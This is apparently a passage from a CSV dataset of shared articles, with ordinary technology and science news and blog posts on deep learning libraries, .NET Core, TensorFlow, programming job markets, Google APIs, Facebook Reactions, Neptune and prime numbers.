MATLAB APIs. While I love Caffe for its performance (it can process 60 million images per day on a K40 GPU), I don't like it as much as Keras or mxnet. The main reason is that constructing an architecture inside the . prototxt files can become quite tedious and tiresome. And more to the point, tuning hyperparameters with Caffe can not be (easily) done programmatically ! Because of these two reasons, I tend to lean towards libraries that allow me to implement the end-to-end network (including cross-validation and hyperparameter tuning) in a Python-based API. Let me start by saying that Theano is beautiful. Without Theano, we wouldn't have anywhere near the amount of deep learning libraries (specifically in Python) that we do today. In the same way that without NumPy, we couldn't have SciPy, scikit-learn, and scikit-image, the same can be said about Theano and higher-level abstractions of deep learning. At the very core, Theano is a Python library used to define, optimize, and evaluate mathematical expressions involving multi-dimensional arrays . Theano accomplishes this via tight integration with NumPy and transparent use of the GPU. While you can build deep learning networks in Theano, I tend to think of Theano as the building blocks for neural networks, in the same way that NumPy serves as the building blocks for scientific computing. In fact, most of the libraries I mention in this blog post wrap around Theano to make it more convenient and accessible. Don't get me wrong, I love Theano - I just don't like writing code in Theano. While not a perfect comparison, building a Convolutional Neural Network in Theano is like writing a custom Support Vector Machine (SVM) in native Python with only a sprinkle of NumPy. Can you do it? Sure, absolutely. Is it worth your time and effort? Eh, maybe. It depends on how low-level you want to go/your application requires. Personally, I'd rather use a library like Keras that wraps Theano into a more user-friendly API, in the same way that scikit-learn makes it easier to work with machine learning algorithms. Similar to Theano, TensorFlow is an open source library for numerical computation using data flow graphs (which is all that a Neural Network really is). Originally developed by the researchers on the Google Brain Team within Google's Machine Intelligence research organization, the library has since been open sourced and made available to the general public. A primary benefit of TensorFlow (as compared to Theano) is distributed computing , particularly among multiple-GPUs (although this is something Theano is working on). Other than swapping out the Keras backend to use TensorFlow (rather than Theano), I don't have much experience with the TensorFlow library. Over the next few months, I expect this to change, however. Lasagne is a lightweight library used to construct and train networks in Theano. The key term here is lightweight - it is not meant to be a heavy wrapper around Theano like Keras is. While this leads to your code being more verbose, it does free you from any restraints, while still giving you modular building blocks based on Theano. Simply put: Lasagne functions as a happy medium between the low-level programming of Theano and the higher-level abstractions of Keras. My Go-To's: If I had to pick a favorite deep learning Python library, it would be hard for me to pick between Keras and mxnet - but in the end, I think Keras might win out. Really, I can't say enough good things about Keras. Keras is a minimalist, modular neural network library that can use either Theano or TensorFlow as a backend. The primary motivation behind Keras is that you should be able to experiment fast and go from idea to result as quickly as possible. Architecting networks in Keras feels easy and natural . It includes some of the latest state-of-the-art algorithms for optimizers (Adam, RMSProp), normalization (BatchNorm), and activation layers (PReLU, ELU, LeakyReLU). Keras also places a heavy focus on Convolutional Neural Networks, something very near to my heart. Whether this was done intentionally or unintentionally, I think this is extremely valuable from a computer vision perspective. More to the point, you can easily construct both sequence-based networks (where the inputs flow linearly through the network) and graph-based networks (where inputs can ""skip"" certain layers, only to be concatenated later). This makes implementing more complex network architectures such as GoogLeNet and SqueezeNet much easier . My only problem with Keras is that it does not support multi-GPU environments for training a network in parallel. This may or may not be a deal breaker for you. If I want to train a network as fast as possible , then I'll likely use mxnet. But if I'm tuning hyperparameters, I'm likely to setup four independent experiments with Keras (running on each of my Titan X GPUs) and evaluate the results. My second favorite deep learning Python library (again, with a focus on training image classification networks), would undoubtedly be mxnet. While it can take a bit more code to standup a network in mxnet, what it does give you is an incredible number of language bindings (C++, Python, R, JavaScript, etc.) The mxnet library really shines for distributed computing , allowing you to train your network across multiple CPU/GPU machines, and even in AWS, Azure, and YARN clusters. Again, it takes a little more code to get an experiment up and running in mxnet (as compared to Keras), but if you're looking to distribute training across multiple GPUs or systems , I would use mxnet. There are times where you don't need to train a Convolutional Neural Network end-to-end. Instead, you need to treat the CNN as a feature extractor . This is especially useful in situations where you don't have enough data to train a full CNN from scratch. Instead, just pass your input images through a popular pre-trained architecture such as OverFeat, AlexNet, VGGNet, or GoogLeNet, and extract features from the FC layers (or whichever layer you decide to use). In short, this is exactly what sklearn-theano allows you to do. You can't train a model from scratch with it - but it's fantastic for treating networks as feature extractors. I tend to use this library as my first stop when evaluating whether a particular problem is suitable for deep learning or not. I've used nolearn a few times already on the PyImageSearch blog, mainly when performing some initial GPU experiments on my MacBook Pro and performing deep learning on an Amazon EC2 GPU instance . While Keras wraps Theano and TensorFlow into a more user-friendly API, nolearn does the same - only for Lasagne. Furthermore, all code in nolearn is compatible with scikit-learn, a huge bonus in my book. I personally don't use nolearn for Convolutional Neural Networks (CNNs), although you certainly could (I prefer Keras and mxnet for CNNs) - I mainly use nolearn for its implementation of Deep Belief Networks (DBNs). Alright, you got me. DIGITS isn't a true deep learning library (although it is written in Python). DIGITS (Deep Learning GPU Training System) is actually a web application used for training deep learning models in Caffe (although I suppose you could hack the source code to work with a backend other than Caffe, but that sounds like a nightmare). If you've ever worked with Caffe before, then you know it can be quite tedious to define your . prototxt files, generate your image dataset, run your network, and babysit your network training all via your terminal. DIGITS aims to fix this by allowing you to do (most) of these tasks in your browser. Furthermore, the user interface is excellent , providing you with valuable statistics and graphs as your model trains. I also like that you can easily visualize activation layers of the network for various inputs. Finally, if you have a specific image that you would like to test, you can either upload the image to your DIGITS server or enter the URL of the image and your Caffe model will automatically classify the image and display the result in your browser. Pretty neat! BONUS: I'll be honest, I've never used Blocks before, although I do want to give it a try (hence why I'm including it in this list). Like many of the other libraries in this list, Blocks builds on top of Theano, exposing a much more user friendly API. If you were to guess which library deepy wraps around, what would your guess be? That's right, it's Theano. I remember using deepy awhile ago (during one if its first initial commits), but I haven't touched it in a good 6-8 months. I plan on giving it another try in future blog posts. I feel compelled to include pylearn2 in this list for historical reasons, even though I don't actively use it anymore. Pylearn2 is more than a general machine learning library (similar to scikit-learn in that it respect), but also includes implementations of deep learning algorithms. The biggest concern I have with pylearn2 is that (as of this writing), it does not have an active developer . Because of this, I'm hesitant to recommend pylearn2 over more maintained and active libraries such as Keras and mxnet. This is supposed to be a Python-based list, but I thought I would include Deeplearning4j in here, mainly out of the immense respect I have for what they are doing - building an open source, distributed deep learning library for the JVM. If you work in enterprise, you likely have a basement full of servers you use for Hadoop and MapReduce. Maybe you're still using these machines. Maybe you're not. But what if you could use these same machines to apply deep learning? It turns out you can - you just need Deeplearning4j. Take a deep dive into Deep Learning and Convolutional Neural Networks Curious about deep learning? I'm here to help. Inside the PyImageSearch Gurus course , I've created 21 lessons covering 256 pages of tutorials on Neural Networks, Deep Belief networks, and Convolutional Neural Networks, allowing you to get up to speed qucikly and easily. To learn more about the PyImageSearch Gurus course (and grab 10 FREE sample lessons ), just click the button below: Click here to learn more about PyImageSearch Gurus! Summary In this blog post, I reviewed some of my favorite libraries for deep learning and Convolutional Neural Networks. This list was by no means exhaustive and was certainly biased towards deep learning libraries that focus on computer vision and Convolutional Neural Networks. All that said, I do think this is a great list to utilize if you're just getting started in the deep learning field and looking for a library to try out. In my personal opinion, I find it hard to beat Keras and mxnet . The Keras library sits on top of computational powerhouses such as Theano and TensorFlow, allowing you to construct deep learning architectures in remarkably few lines of Python code. And while it may take a bit more code to construct and train a network with mxnet, you gain the ability to distribute training across multiple GPUs easily and efficiently. If you're in a multi-GPU system/environment and want to leverage this environment to its full capacity, then definitely give mxnet a try. Before you go, be sure to sign up for the PyImageSearch Newsletter using the form below to be notified when new deep learning posts are published (there will be a lot of them in the coming months!)",en
1467083975,CONTENT SHARED,5795281877636738272,-1032019229384696495,-1382304469206973597,,,,HTML,http://www.wired.com/2016/06/microsofts-open-source-love-affair-reaches-new-heights/,Microsoft's Open Source Love Affair Reaches New Heights,"It's official: Microsoft code isn't just for Windows anymore. Today, the company released .NET Core 1.0, a version of its popular software development platform that will run not just on its own Windows operating systems, but on the Linux and Mac OS X operating systems as well. What's more, .NET Core is open source, meaning that any developer can not only use it for free to build their own applications, but also modify and improve the platform to suit their needs and the needs of others. Microsoft first released .NET Core and its source code back in 2014 , but previous versions of the software were only intended for testing purposes. Today marks the first time that Microsoft has officially supported using the platform for real-world applications on Linux and OS X, the two primary competitors to Windows. Red Hat, one of the world's primary Linux vendors, also announced that it will officially support .NET on its popular Red Hat Enterprise Linux operating system. All this highlights an enormous change not only in Microsoft, but in the software industry as a whole. Over the last decade, the world's tech businesses, from Google and Facebook and Twitter on down, have increasingly used Linux and other open source software to build their online services and other technologies, and as a result, IT vendors-the companies that help businesses build their online services-have moved closer and closer to the open source way. This includes Microsoft, one of the largest IT vendors. In order to compete, Microsoft must ensure not only that .NET is open source, but that other important Microsoft IT tools run on all operating systems, including, most notably, Linux As Microsoft put the finishing touches on .NET, it also released a preview version of its SQL Server database software that runs on Linux. The database itself is not open source, and it's not yet ready for the real-world, but this is the first time Microsoft has offered the product for Linux. Traditionally, Microsoft only supported running software on its own operating systems, perhaps out of fear of cannibalizing the sales of Windows licenses. But the world has changed, and Microsoft is changing with it. A Long Time Coming Microsoft has been open sourcing parts of the .NET environment for years, starting with a programming framework called ASP.NET MVC back in 2009. The company also helped port several important pieces of open source software-including the data crunching platform Hadoop and the coding tool Node.js-to Windows. But even after it announced that it would support Linux on its Azure cloud service, Microsoft still didn't write much software for the operating system. Microsoft would help you run Linux, but you were on your own when it came to software. That changed in 2014, when the company announced that not only would it open source the heart of .NET, but port it to Linux and OS X. Then, earlier this year, Microsoft acquired a company called Xamarin, which has long made software that helps developers use .NET technologies to build software for a wide variety of platforms, including Linux (through its open source Mono project) and mobile operating systems like Android and iOS (through its flagship product). Microsoft's motivation for supporting Linux and releasing open source software isn't altruistic. It's necessary for the company's survival. Over the years, Linux has edged out Windows Server in the web server market, and coders have flocked to open source programming languages and frameworks like Ruby on Rails, Python, and Google's Go language to build the next generation of applications. Julia Liuson, corporate vice president of Microsoft's developer division, says her team feared that Microsoft's once mighty brand was losing its cachet. ""If you talk to any developer, they hold Visual Studio in high regard,"" she says. ""Despite that, we were not as relevant to developers as we would have liked."" The answer was obvious: the way to reach developers was through open source. So Liuson and company endeavored to make .NET more open than ever before, and that meant making it run not just on Windows, but wherever developers might want to use it. A Threat to Windows? Liuson says there's little concern that making .NET Core available on Linux and OS X will reduce sales of Windows licenses-those developers were probably never going to use Windows in the first place. But now they might consider buying licenses for Microsoft's Visual Studio and Xamarin products, or use its Azure cloud services instead of competing services from Amazon and Google. But open source is about more than just selling more software and services. About 18,000 developers from more than 1,300 different companies outside of Microsoft have contributed to .NET Core 1.0, according to the company. Why work on Microsoft's products for free? For James Niesewand and his team at Illyriad Games, it allows them to fix their own problems .NET without having to wait for Microsoft to do it, or writing their own programming platform from scratch. ""Three years ago if we had a problem with .NET, we'd write-up a bug report, submit it,"" he says. ""After a few weeks you might get a response acknowledging it, and maybe a year later you'd get a release that fixes it."" Now, he says, the company can write their own fixes and have them approved by Microsoft in hours. Microsoft reaps huge benefits from this. The company uses .NET for its own cloud-based services, so, in theory, the improvements made to the platform by Illyriad and other outside developers could have ripple effects throughout Microsoft's empire, from Outlook.com to Cortana. That's how Facebook and Google develop software, too. If an outside developer figures out how to speed up Facebook's development framework React, then everyone-including Facebook's users-benefit from faster, more responsive applications. If an academic studying artificial intelligence finds a way to make Google's AI framework TensorFlow better, then that researcher will get a better tool and Google will get improvements that could trickle out to every part of its business that depends on TensorFlow. Microsoft is finally catching on to this new way of thinking and we're only just beginning to see the results.",en
1467112219,CONTENT SHARED,-2547386150711652030,-1443636648652872475,1766918780078049973,,,,HTML,https://developers.googleblog.com/2016/06/tensorflow-v09-now-available-with.html,TensorFlow v0.9 now available with improved mobile support,"Posted by Pete Warden, Software Engineer When we started building TensorFlow, supporting mobile devices was a top priority. We were already supporting many of Google's mobile apps like Translate, Maps, and the Google app, which use neural networks running on devices. We knew that we had to make mobile a first-class part of open source TensorFlow. TensorFlow has been available to developers on Android since launch, and today we're happy to add iOS in v0.9 of TensorFlow, along with Raspberry Pi support and new compilation options. To build TensorFlow on iOS we've created a set of scripts, including a makefile, to drive the cross-compilation process. The makefile can also help you build TensorFlow without using Bazel, which is not always available. All this is in the latest TensorFlow distribution. You can read more by visiting our Mobile TensorFlow guide and the documentation in our iOS samples and Android sample . The mobile samples allow you to classify images using the ImageNet Inception v1 classifier. These mobile samples are just the beginning---we'd love your help and your contributions. Tag social media posts with #tensorflow so we can hear about your projects! See the full TensorFlow 0.9.0 release notes here .",en
1467116330,CONTENT SHARED,3205047378909988692,7645894863578715801,-1632521130887615017,,,,HTML,http://blog.takipi.com/java-vs-net-vs-python-vs-ruby-vs-node-js-who-reigns-the-job-market/,Java vs .NET vs Python vs Ruby vs Node.JS: Who Reigns the Job Market? | Takipi Blog,"We crunched 351,799 job openings - Here are the languages you need to master to get them Every now and then a new article/blog post/opinion piece/twitter rant is published wondering about the future of Java. However, the cold facts state that it's still the most popular language in the programming world, but what does it actually mean? In the following post we'll dig into the buzz around Java through analysing the current job market, focusing on server side languages. Who knows, it might even help you find your next position. New Post: Java vs .NET vs Python vs Ruby vs Node.JS: Who Reigns the Job Market? pic.twitter.com/bBPc5IcHUg - Takipi (@takipid) June 16, 2016 Java rules the domain For some Java might mean a hot cup of coffee, but for us it's one of the most practical programming languages; it's concurrent, class-based, object-oriented and designed to have as few implementation dependencies as possible. If you're not into that factual lingo, the main selling feature here is ""write once, run anywhere"", allowing us to run our code on every Java supported platform without having to recompile it. There's no doubt Java is popular. It's the second most popular programming language, and it is the base for pretty much any other object oriented principles language. If you ask Oracle, they can show you some numbers that go along with these statements: 97% of Enterprise Desktops Run Java 89% of Desktops (or Computers) in the U.S. Run Java 9 Million Java Developers Worldwide 3 Billion Mobile Phones Run Java In order for us to see how popular Java really is, we decided to look where it counts: the job market. We focused on the 2 popular job hunting sites: Glassdoor and Indeed, inside the US market. Looking for a job? Look for Java Just like any other person looking for a job, we searched the term ""Java"" in Glassdoor , limiting the result to the US, and got 60,322 results. Among the different positions available, you can apply for Java/J2EE Developer, Test Automation Engineer, Software Engineering Team Leader, Full Stack Software Engineer and even be a Java teacher for an online class. We ran a similar search on Indeed, focusing on developers and engineers. This search landed us with 62,249 available positions. There's a variety of positions available here as well, such as Back End Services Engineer, Test Automation Engineer, Applications Developer and so on. Programming and StackOverflow go hand in hand, and that's why we decided to look on it as well. When searching for Java we found 1,088,646 tagged questions, which indicate the overall popularity of this language. These numbers mean that if you're looking for a job in the Java field, you have a lot of options to choose from. But how do they reflect Java popularity? For that, we'll have to look for open positions in other languages. First, we chose those who are relevant to us: C++ and .NET. While the numbers are still high, they're lower than Java. For C++, you'll find 28,879 jobs on Glassdoor, and 34,451 jobs on Indeed with our developers and engineers filter. If you're more of a .NET programmer, you can choose from 23,509 jobs on Glassdoor and 32,801 on Indeed, and you should be aware of the decrease in demand, as the following chart shows: What about ""younger"" languages you ask? When looking for Python the numbers slim down to 29,800 jobs on Glassdoor and 32,434 on Indeed, and Ruby offers you 12,928 jobs on Glassdoor and 14,303 jobs on Indeed. The demand for Node.js seems lower, with 4,805 jobs on Glassdoor and 6,277 jobs on Indeed. FYI: Indeed indicates that the average Java salaries for job postings nationwide are 77% higher than average salaries for all job postings nationwide. Java is the prom queen TIOBE, the programming community index, show similar results in its June report . Java is the most popular language, and it has been holding this title for a few long years. C++ and .NET are not far behind, holding places third and ninth respectively. It's interesting to see that Python hold the honorable fourth place and Ruby is placed at number 10 - indicating that they are on the rise, but apparently it's still not enough to make a significant impact on the job market. Not just for Java We know what you're thinking, there are other JVM languages beside Java - what about them? Right now, while the job market does offer a handful of positions, it's not likely they'll take over soon. When searching for Scala positions, the numbers slim down to 2,618 jobs on Glassdoor and 4,242 jobs for developers and engineers on Indeed. When it comes to Clojure, we found 461 jobs on Glassdoor and 575 on Indeed. We decided to look if there are any open positions in the Reactive Programming Framework, used by Java and Scala developers. The numbers grew a bit, with 2,224 jobs on Glassdoor but only 404 jobs on Indeed. It also seems that Akka, which is also used by Java and Scala developers, is less popular, with 283 jobs on Glassdoor and 427 jobs on Indeed. What about something a little less popular? When searching for Jython we got 228 jobs on Glassdoor and 178 jobs on Indeed, JRuby has 104 jobs on Glassdoor and 107 jobs on Indeed and Kotlin has a low number of 10 open jobs on Glassdoor, and 34 jobs on Indeed. We also ran a search on ""Groovy"", and though Glassdoor showed 1,318 jobs, Indeed had no less than 14,663 jobs. We thought it was a little weird, and an in-depth look taught us that people still use ""Groovy"" as an adjective to describe what kind of people they're looking for. We know, it's embarrassing. In order to get some clue about open positions for Groovy developers, we narrowed down the search term to developers and engineers, and got a reasonable number of 1,795 jobs available. Rise of the Devops One of the new buzzwords everyone has been looking for lately is Devops. While the actual meaning of this word is to emphasize collaboration and communication of software developers and IT professionals, it doesn't apply ( get it? ) to the job market. One Devops description doesn't match another; some companies require high programming skills, while other are looking for someone who knows how to create basic scripts and handle APM tools (shameless plug: like Takipi ). When searching for Devops we found 22,506 jobs Glassdoor and 11,487 jobs on indeed. But all you really need is one look at the following chart to get the picture. Devops are the new orange. We also tried breaking it down and search for the 2 major tools every Devops engineer should know: Chef and Puppet. Puppet shows 2,685 jobs on Glassdoor and 3,809 jobs on Indeed. Just like Groovy, we got a lot of irrelevant results when searching for ""Chef"" (unless you'd like to change your life and become a catering chef). However, searching for Chef and limiting the results to Devops, we got 2,862 jobs on Glassdoor and 4,048 jobs on Indeed. Final Thoughts Numbers are great and we love them. Just the other week We Crunched 1 Billion Java Logged Errors and then found the The Top 10 Exception Types in Production Java Applications . But all of the numbers included in this post say something about the state of Java: it's still going strong and it's here to stay. At least for the next decade.",en
1467116547,CONTENT SHARED,2495913984359439198,3302556033962996625,-8391507522593787613,,,,HTML,http://android-developers.blogspot.com.br/2016/06/android-mobile-vision-text-api.html,Android Mobile Vision restores operation and adds Text API | Android Developers Blog,"Posted by Michael Sipe, Product Manager As an important framework for finding objects in photos and video, Mobile Vision operation for Android devices is restored in Google Play Services v9.2. This new version of Google Play Services fixes a download issue in Google Play Services v.9.0 that caused a service outage. See release notes for details. We're also pleased to announce the Text API, a new component for Android Mobile Vision. The Text API's optical character recognition technology reads Latin character text (e.g. English, Spanish, German, French, etc.) in photos and returns the text as well as the organizational structure (paragraphs, lines, words). Mobile apps can now: Organize photos that contain text Automate tedious data entry for credit cards, receipts, and business cards Translate documents (along with the Cloud Translate API ) Keep track of real objects, such as reading the numbers on subway trains Provide accessibility features If you want to get started quickly, you can try our codelab which will get Android developers reading text with their apps in under an hour. Like the Mobile Vision Face and Barcode components, the Text API runs on-device and is suitable for real-time applications. For more information, check out the Mobile Vision Developer site .",en
1467116818,CONTENT SHARED,-6592496241044177853,3302556033962996625,-8391507522593787613,,,,HTML,http://android-developers.blogspot.com.br/2016/06/create-intelligent-context-aware-apps.html,"Create Intelligent, Context-Aware Apps with the Google Awareness APIs | Android Developers Blog","Posted by Bhavik Singh, Product Manager Last month at Google I/O 2016 we announced the new Google Awareness APIs, enabling your apps to intelligently react to user context using snapshots and fences with minimal impact on system resources. Today we're proud to announce that the Google Awareness API is available to all developers through Google Play services. Using 7 different types of context-including location, weather, user activity, and nearby beacons-your app can better understand your users' current situations, and use this information to provide optimized and customized experiences. The Awareness API offers two ways to take advantage of context signals within your app: The Snapshot API lets your app easily request information about the user's current context. For example, ""give me the user's current location and the current weather conditions"". The Fence API lets your app react to changes in user's context - and when it matches a certain set of conditions. For example, ""tell me whenever the user is walking and their headphones are plugged in"". Similar to the Geofencing API, once an awareness fence is registered, it can send callbacks to your app even when it's not running. As a single, simplified surface, the Awareness APIs combine optimally processed context signals in new ways that were not previously possible, providing more accurate and insightful context cues, while also managing system resources to save battery and minimize bandwidth. We've worked closely with some of our partners, who have already found amazing ways to integrate context awareness into their apps: Trulia ,an online residential real estate site, uses our Fence API to suggest open houses. When the weather is perfect and the user is walking around near a house they are interested in, Trulia sends a notification reminding them to stop by. This sort of tailored notification can help users engage with open houses at the perfect time for them. SuperPlayer Music , on the other hand, uses our Snapshot API and Fence API to suggest the perfect music to match your mood. Whether you're just finishing up a run and beginning to stretch, setting off on a long car ride, or just getting to the gym, their assistant can understand your context and suggest the right playlist for you. With our initial set of signals and our awesome partners, we're just getting started with the Awareness APIs. Join us on a journey to build tailored experiences within your apps, by getting started with the Google Awareness API developer documentation , and learn more by watching our Google I/O session",en
1467117624,CONTENT SHARED,4894833130708450490,8676130229735483748,2673007957349960897,,,,HTML,http://gizmodo.uol.com.br/vortice-escuro-netuno/,Um misterioso vórtice escuro surgiu sobre Netuno,"O Telescópio Hubble capturou imagens de um vórtice escuro pairando sobre Netuno durante uma observação em 16 de maio. Esta é, na verdade, a terceira vez que esse fenômeno é documentado na atmosfera do planeta. Ele já foi visto em 1989, durante o sobrevoo da sonda Voyager; e em 1994, também pelo Hubble. Vórtices escuros surgem quando nuvens de gás e o ar da atmosfera de Netuno formam redemoinhos e acabam se congelando nas baixíssimas temperaturas do planeta, formando uma única massa estranha. ""Os vórtices escuros aparecem na atmosfera como grandes montanhas gasosas em formato de lentes"", disse à NASA o líder do estudo, Mike Wong, da Universidade da Califórnia em Berkeley. Um fluxo de nuvens brilhantes acompanha o evento - que, segundo Wong, são semelhantes às ""nuvens com forma de panqueca que aparecem sobre montanhas na Terra."" Vendo o vórtice escuro de perto Todos os vórtices escuros possuem uma nuvem de gás congelado coberta com essas nuvens brilhantes, mas todos os outros elementos parecem ser completamente mutáveis. Diferenças no tamanho, formato e na duração foram notadas durante as observações do fenômeno. Imagens por NASA, ESA e M.H. Wong and J. Tollefson/UC Berkeley Embora essa seja a primeira vez que o acontecimento é registrado em 22 anos, pesquisadores suspeitam que outros vórtices do gênero tenham passado despercebidos pela atmosfera de Netuno. Em particular, um incidente em 2015 levantou suspeitas, quando astrônomos no mundo inteiro relataram enxergar nuvens brilhantes nos céus do oitavo planeta. Os cientistas, no entanto, não puderam confirmar o vórtice escuro sob elas. Agora que os pesquisadores puderam ter um registro melhor do fenômeno de Netuno pelo Hubble, a expectativa é que entendam melhor o motivo pelo qual eles se formam - e pelo qual acabam desaparecendo.",pt
1467119696,CONTENT REMOVED,3823268327704412514,6003902177042843076,455575906717568567,,,,HTML,http://techcrunch.com/2016/02/24/facebook-reactions/,"Facebook Enhances Everyone's Like With Love, Haha, Wow, Sad, Angry Buttons","Humanity has been boiled down to six emotions. Today after tests in a few countries, Facebook is rolling out its augmented Like button ""Reactions"" to all users. This article has been boiled down to six emotions too. Like - Facebook designed Reactions so Liking is still as easy ever. You'll still see the Like button on every post. But now if you tap and hold on it, the Like will expand to reveal the other emotions: Love, Haha, Wow, Sad, and Angry. Drag your finger across and you can select one. Now instead of a Like count, posts will display the total Reaction count, and show the icons of the most popular Reactions. This way, Facebook doesn't have to clutter the feed with individual counts of each emotion. If you do want to know the breakdown, you can tap the Reaction count and see who felt what. This design is smart because if you don't want to use Reactions, you don't have to, and there aren't six buttons on every post. Love - Reactions were created after Mark Zuckerberg told his team ""I want to really make it easy for people to give other types of feedback than the Like button in News Feed"" according to News Feed engineering manager Tom Alison. Sometimes when a friend shares a post about a tragedy or something that annoys them, it doesn't feel right to Like it, and commenting can be awkward, but you still want to express empathy. For example, is something sad happens to a friend, Liking isn't right, but adding a generic ""sorry"" comment can feel cold. By hitting the animated Sad button, you can express your condolences and solidarity. With any luck, this will encourage people to be more vulnerable on Facebook. Instead of the constant Success Theater where people only share the highlights of their lives, they might be more real with their friends. Wow - By adding Reactions, Facebook will now have a much more accurate perception of what we feel and what kind of posts resonate with each of us. It can use that knowledge to better filter the News Feed to show more things that Wow us. Haha - We comment ""Lol"" on so many Facebook posts, that Facebook thought there could be a simpler way. To design Reactions it looked at the most common one-word comments and stickers used on News Feed posts, grouped them together, and found that these six emotions capture almost every way people feel across cultures. Sad - Facebook seems to have blatantly copied Path's design for the expandable Like button with basic emotions, yet refused to acknowledge the fellow social network as an inspiration when I asked. Angry - There's still no ""Dislike"" button, and that's sure to piss some people off.",en
1467119738,CONTENT REMOVED,1179326165172129711,6003902177042843076,455575906717568567,,,,HTML,http://gizmodo.uol.com.br/vies-numeros-primos/,Matemáticos descobrem um padrão inesperado nos números primos,"Os matemáticos descobriram um padrão surpreendente na expressão de números primos, revelando um ""viés"" antes desconhecido pelos pesquisadores. Números primos só podem ser divididos por um ou por si próprios: é o caso do 2, 3, 5, 7, 11, 13, 17 etc. Eles têm grande utilidade na criação de algoritmos na criptografia de chaves públicas, e por vezes aparecem na natureza - por exemplo, certas cigarras só saem da toca após 7, 13 ou 17 anos . Ainda não sabemos se existe um padrão que explica esta sequência, e não existe nenhuma fórmula para saber quando um número primo vai aparecer nessa sequência; os matemáticos ainda não descobriram uma função para tanto. No entanto, a maioria dos matemáticos concorda que existe algo de aleatório na distribuição dos números primos. Ou, pelo menos, é o que eles pensavam. Recentemente, dois matemáticos decidiram testar esta hipótese de ""aleatoriedade"", e descobriram que ela não está correta. Viés inesperado Segundo a New Scientist , os pesquisadores Kannan Soundararajan e Robert Lemke Oliver, da Universidade de Stanford (EUA), detectaram um viés inesperado na distribuição de primos consecutivos. Os matemáticos fizeram a descoberta ao checar a aleatoriedade nos primeiros cem milhões de números primos. Eles só podem terminar em 1, 3, 7 ou 9 (se tiverem mais de um dígito); matemáticos acreditavam que dois números primos seguidos terminariam com o mesmo dígito 25% das vezes. No entanto, isso não acontece. A chance de um número primo terminado em 1 ser seguido por outro também terminado em 1 é de apenas 18,5%. Números primos consecutivos terminados em 3 e 7 aparecem 30% das vezes; e primos terminados em 9, cerca de 22%. Este não é um padrão perfeitamente aleatório. Os matemáticos foram mais longe e analisaram o primeiro trilhão de números primos. A distribuição se aproxima de algo aleatório, mas o viés persiste. Ele existe até mesmo quando você não usa a numeração em base 10. Ou seja, isso é mesmo algo inerente aos números primos - e é algo imprevisto. ""Sabemos vergonhosamente pouco"" No estudo , Soundararajan e Lemke Oliver tentam encaixar essa descoberta na chamada ""conjectura de k-tuplos"", criada pelos matemáticos G. H. Hardy e John Littlewood no início do século XX - eles deram as bases para as pesquisas modernas sobre números primos. Essa conjectura ainda não foi provada; no entanto, sem ela - e sem a conhecida hipótese de Riemann - a compreensão dos matemáticos sobre números primos fica terrivelmente restrita. ""O que sabemos é vergonhosamente pouco"", diz Lemke Oliver à Nature News . Spencer Greenberg, matemático e fundador do ClearerThinking.org, diz ao Gizmodo que os números primos, assim como os dígitos do pi, parecem muito aleatórios, mas não são. ""Eles são determinados precisamente pelas propriedades dos números. É que, quando nós olhamos para eles, nossos cérebros não conseguem ver o padrão, por isso, eles parecem uma loucura aleatória."" O estudo é fascinante, e como diz o matemático Andrew Granville à New Scientist, ""isso nos dá uma compreensão maior, cada avanço ajuda. Se o que você toma por óbvio está errado, isso obriga a repensar outras coisas que você acha que sabe"". [ Estudo - New Scientist - Nature News ] Foto por Let Ideas Compete /Flickr",pt
1467121173,CONTENT SHARED,-6820241302436968068,-1443636648652872475,1766918780078049973,,,,HTML,https://techcrunch.com/2016/06/28/goodbye-accountants-startup-builds-ai-to-automate-all-your-accounting/,Goodbye accountants! Startup builds AI to automate all your accounting,"Smacc , which uses AI to automate accounting, has secured a 3.5 million Series A round from Cherry Ventures, Rocket Internet, Dieter von Holtzbrinck Ventures, Grazia Equity and business angels. Smacc offers small and medium-sized enterprises a platform to digitize and automate accounting and financial processes. The founding trio Uli Erxleben, Janosch Novak and Stefan Korsch came up with the idea after find accounting to be the most painful part of their own startup. Erxleben managed Rocket Internet's US ventures in New York and San Francisco, and is also the founder of Berliner Berg , a craft beer startup. Customers submit their receipts to Smacc, which are turned into a machine-readable format, encrypted, then allocated to an account. The platform gradually also self-learns, tracking invoices, sales and costs, as well as their liquidity. The system checks against some 64 data points, verifies the invoice, checking, for example, that the maths adds up, and even if the VAT-ID and its issuer are correct. Once the system has already learned how to deal with the supplier on position levels, it will do it automatically. Over time - says the startup - it becomes better and better at automatically dealing and allocating the data. ""Now you have all you need for liquidity planning and revenue/expense reports close to real-time in the tool w/o the need to input data yourself or wait for your external account to do it for you at month's end,"" says Erxleben. There are other cloud-based accounting software providers out there, such as Xero and Crunch Accounting, but Smacc says what makes them difference is the high level of automation of all the accounting and finance processes that companies usually input manually.",en
1467123962,CONTENT SHARED,-5002383425685129595,-3390049372067052505,2471338745689678750,,,,HTML,http://www.mckinsey.com/global-themes/leadership/changing-change-management,Changing change management,"Research tells us that most change efforts fail. Yet change methodologies are stuck in a predigital era. It's high time to start catching up. Change management as it is traditionally applied is outdated. We know, for example, that 70 percent of change programs fail to achieve their goals, largely due to employee resistance and lack of management support. We also know that when people are truly invested in change it is 30 percent more likely to stick. While companies have been obsessing about how to use digital to improve their customer-facing businesses, the application of digital tools to promote and accelerate internal change has received far less scrutiny. However, applying new digital tools can make change more meaningful-and durable-both for the individuals who are experiencing it and for those who are implementing it. The advent of digital change tools comes at just the right time. Organizations today must simultaneously deliver rapid results and sustainable growth in an increasingly competitive environment. They are being forced to adapt and change to an unprecedented degree: leaders have to make decisions more quickly; managers have to react more rapidly to opportunities and threats; employees on the front line have to be more flexible and collaborative. Mastering the art of changing quickly is now a critical competitive advantage. For many organizations, a five-year strategic plan-or even a three-year one-is a thing of the past. Organizations that once enjoyed the luxury of time to test and roll out new initiatives must now do so in a compressed period while competing with tens or hundreds of existing (and often incomplete) initiatives. In this dynamic and fast-paced environment, competitive advantage will accrue to companies with the ability to set new priorities and implement new processes quicker than their rivals. The power of digital to drive change Large companies are increasingly engaged in multiple simultaneous change programs, often involving scores of people across numerous geographies. While traditional workshops and training courses have their place, they are not effective at scale and are slow moving. B2C companies have unlocked powerful digital tools to enhance the customer journey and shift consumer behavior. Wearable technology, adaptive interfaces, and integration into social platforms are all areas where B2C companies have innovated to make change more personal and responsive. Some of these same digital tools and techniques can be applied with great effectiveness to change-management techniques within an organization. Digital dashboards and personalized messages, for example, can build faster, more effective support for new behaviors or processes in environments where management capacity to engage deeply and frequently with every employee is constrained by time and geography. Digitizing five areas in particular can help make internal change efforts more effective and enduring. 1. Provide just-in-time feedback The best feedback processes are designed to offer the right information 